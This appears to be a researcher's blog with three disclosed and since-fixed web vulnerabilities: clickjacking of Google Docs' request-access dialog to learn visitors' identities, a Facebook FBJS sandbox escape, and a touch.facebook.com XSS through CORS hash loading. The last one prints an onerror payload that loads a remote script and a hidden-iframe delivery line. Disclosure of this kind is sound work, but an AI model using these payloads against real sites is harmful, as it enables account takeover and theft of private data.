(This issue was resolved 3-22-2014 before I finished writing the report, so it must have been reported before me)

POC Video:

tl;dr : Google documents leak full name and e-mail address via ClickJacking the “request permissions” dialog in a private doc.

Details:

infoleak_flow

 

  1. Victim visits the evil site.
  2. The evil server uses the google docs API to creates a unique document for the visitor.
    1. The document is named with the unique session id of the victim.
    2. The document is set to private.
  3. A URL to the new document is returned to the server.
  4. An iframe is created with the following page from google:google_perms
    1. This page is cropped to only have the “request access button”.
    2. Style is used to make the iframe 100% transparent and always on top of the page.
    3. Javascript is used to make the cropped request access button follow the mouse around the page.The resulting “Click Jack” or UI Redressing would look like:
    4. click_jack_goog
  5. When the user clicks anywhere on the evil page they are actually clicking on the “request access” button. of the google doc.
  6. Once the user clicks on the link the page starts polling with ajax for an update from the server.
  7. Google sends an e-mail, on behalf of the user including full name and e-mail, to the creator of the document (attacker@gmail.com) to request access.
  8. The evil server is running an IMAP client listening for document requests to attacker@gmail.com.
  9. The IMAP client receives the request from the google doc that is named after the value of the session key. The evil server can now tie the user session (from the document requesting title) to the “from: ” name and address in the request. The polling request from step 6 will be updated with the identity of the current user.

Success!!!
click_jack_success

Notes:

Nodejs was used for the server which allowed a simple web server (express) and IMAP client to run in the same container.  This allowed me to inject directly into the user session. Once the e-mail was received.

Check out the POC code at https://github.com/matt-/google_doc_poc


Facebook allows developers to build applications using the “Canvas“.  Because the canvas apps run on the facebook domain they use a “Sandbox”.  This is a subset of HTML called FBML and a limited javascript set called FBJS.  The sandbox is basically used to try prevent an attacker form being able to run malicious code.

Facebook also introduced Public Canvas Pages.

“Facebook now offers applications the ability to serve canvas pages to users not currently logged in to either Facebook or the application, or the user hasn’t agreed to the Terms of Service for the application.”

This means with a successful attack an app could exploit all users not just those who have already joined our facebook app.

The Exploit

FBJS allows us DOM Element Traversal with functions like getElementById and getChildNodes.  This allows us to get info from any object in our canvas sandbox, even those rendered by facebook.

Info Disclosure

Lets say we use a “Public Canvas Page”, and want want to get info about users who have not yet added our app.

We will use the following FBML:

We use 2 FBML tags “fb:profile-pic”, and “fb:multi-friend-selector”. FBJS does not allow us to access these elements directly, but because we wrap them in a div that we created we can use the element traversal functions:

The XSS

Reading information is one thing but we really want full control. Facebook does allow us to use flash with the Fb:swf tag, but they render the embed tag for us and always include the allowscriptaccess="never" to prevent unwanted script access from flash. They do however provide: Fb:fbjs-bridge. This allows you from flash to comunicate with FBJS and FBML.

Fb:fbjs-bridge renders its own embed tag, and because it is controlled by facebook, and needs to communicate with javascript it has the attribute allowscriptaccess="always" .

The problem is this item is rendered inside our canvas area therefore the attack mentioned above can be used to actually change the src (with setSrc which i assume is meant for IMG tags) of the “bridge” flash to an swf file owned by us giving us unrestricted script access.

HTML /JS:

Flash/AS3:

Update: resolved on Jul 29, 2010


HTML 5 does not do much to solve browser security issues. In fact it actually broadens the scope of what can be exploited, and forces developers to fix code that was once thought safe.

For example HTML5 introduces HTTP access control or Cross-Origin Resource Sharing.  This allows the browser to make ajax requests cross domain.  It introduces new headers so that a service can block remote sites from being able to run non authorized requests, but the client actually needs to add javascript to confirm the origin of the request.

The Exploit

Lets look at the facebook touch page touch.facebook.com (iphone web interface).  There are a few things you should notice:

  1. If you are logged in to Facebook, you are automatically logged in to this page.  Some awesome magic session lets this happen.
  2. If you click on any URL you see the links dont actually change the page but load them with ajax.  http://touch.facebook.com/#profile.php   actually loads http://touch.facebook.com/profile.php into a div on the page.
  3. This interface does not do any actual frame breaking only clickjacking protection, which really doesn’t matter for what we want to do.

Javascript takes everything after the hash (#profile.php) and does an ajax request. It takes the content from the ajax and loads it into a div on the page.  The problem is this is not restricted to relative or local URLs. The attacker could load a remote url because of this HTML5 “feature”. Before HTML5 this would have caused an error and never loaded the content. The request is done client side, so server side param filtering (or WAF) will not help.  To exploit this all we need is a PHP page with some extra headers:

http://touch.facebook.com/#http://example.com/xss.php

The Code

Because the content of our payload is set with “innerHTML” we can’t just plug in a <script> tag and expect it to work, but other events will fire.  In this example we simply make an image with a bad src and an onerror handle.

Now we can load a remote script to do the work for us:

onerror="$('header').appendChild(document.createElement('script')).src='http://example.com/fb/fb.js'"

Because facebook does not bust out of this frame we can simply place the xss in a hidden iframe on an evil site.

<iframe src="http://touch.facebook.com/#http://example.com/xss.php" style="display:none"></iframe>

Now when a user views the evil site the hacker has full control over touch.facebook.com.  The attacker can:

  • Know who you are
  • See your photos
  • Read messages
  • Read sent messages
  • Send messages
  • Read most private data (e-mail, phone, friends)
  • Add friends
  • Post comments

But lets assume that’s not enough.  What if we need access to facebook.com for some reason.   Maybe we want to take over a facebook app owned by the user.

For this we are going to use: “document.domain”.  Because http://touch.facebook.com is a sub-domain of http://facebook.com in our javascript/xss we can define document.domain on touch to be facebook.com.  This will allow us to talk directly to facebook.com

This was all done client side. Ajax loaded the payload then we used DOM to load the iframe for the rest of the exploit. The hash part of the url is not sent to the server making it almost impossible for facebook to know what was exploited.

The Fix

Facebook could simply force all urls to be relative to the base url by adding ‘/’ to the front of all requests before sending ajax.

Also the XHR now supports an origin attribute from the request, so facebook could check that the origin matches facebook.com before loading in the content.

Things to Note

Facebook is not alone in this exploit, I have notified other sites and jquery libraries which suffer from this same attack.

Cross-Origin Resource Sharing is currently available in  Firefox 3.5, Safari 4, and Google Chrome 2.  IE8 supports CORS with the XDomainRequest function instead of the existing XMLHttpRequest.

UPDATE:  This issue was reported on 7/13 resolved by facebook on 7/14 (amazingly fast and unexpected response time!)